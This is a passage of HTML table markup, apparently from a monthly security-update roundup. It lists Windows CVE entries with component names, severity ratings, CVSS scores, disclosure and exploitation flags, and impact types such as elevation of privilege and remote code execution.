  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
